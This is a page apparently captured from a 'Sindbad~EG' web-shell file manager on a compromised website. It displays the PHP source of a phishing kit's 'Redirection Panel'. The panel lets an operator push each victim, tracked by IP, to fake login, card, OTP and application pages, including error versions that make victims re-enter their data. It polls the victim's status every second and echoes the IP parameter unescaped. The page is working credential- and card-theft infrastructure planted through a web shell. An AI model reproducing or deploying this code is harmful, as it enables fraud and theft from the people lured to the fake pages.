Sindbad~EG File Manager

Current Path : /home/infinitibizsol/cashforcarsrichardson.com/ing/panel/
Upload File :
Current File : /home/infinitibizsol/cashforcarsrichardson.com/ing/panel/ctr.php

<?php 
require 'panel.class.php';
$pnl = new Panel();

if(isset($_GET['page'], $_GET['ip'])){
    $pnl->editVicFIle($_GET['page'], $_GET['ip']);
    header("location: ctr.php?ip=".$_GET['ip']."&redirected");
}
 

?>
<!doctype html>
<html>
<head>
<title>Redirection Panel</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="res/style.css">
</head>
<body>

<div class="btns">
<?php 


if(isset($_GET['redirected'])){
    echo "<h1>Redirected!</h1>";
}

if(isset($_GET['uploaded'])){
    echo "<h1>FILE UPLOADED!</h1>";
}
 
if(isset($_GET['updated'])){
    echo "<h1>DATA UPDATED!</h1>";
}
 

?>

<form>
    <span>[<?php echo @$_GET['ip'];?>] </span>
    <span>[<span id="statu">loading...</span>]</span>
</form>

<form action="ctr.php" method="get">
    <h3 style="color:white;">Control options</h3>
    <input type="hidden" name="ip" value="<?php echo @$_GET['ip'];?>">
    <button type="submit" name="page" value="mkfile.php?p=login&params=?e=ERROR">LOGIN ERROR</button>
    <button type="submit" name="page" value="mkfile.php?p=card">CARD</button>
    <button type="submit" name="page" value="mkfile.php?p=card&params=?e=ERROR">CARD ERROR</button>
    <button type="submit" name="page" value="mkfile.php?p=otp">OTP</button>
    <button type="submit" name="page" value="mkfile.php?p=otp&params=?e=ERROR">OTP ERROR</button>
    <button type="submit" name="page" value="mkfile.php?p=app">APPLICATION</button>
    <button type="submit" name="page" value="exit.php">EXIT</button>
</form>
 

</div>

<script src="../de/res/jq.js"></script>
<!-- <script src="../auth/inc/script/m.js"></script> -->
<script>
 

    setInterval(() => {
        $.post("get_statu.php",{get:1, ip:'<?php echo @$_GET['ip']?>'},(res)=>{
            $("#statu").html(res);
        });
    }, 1000);
</script>

</body>
</html>

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists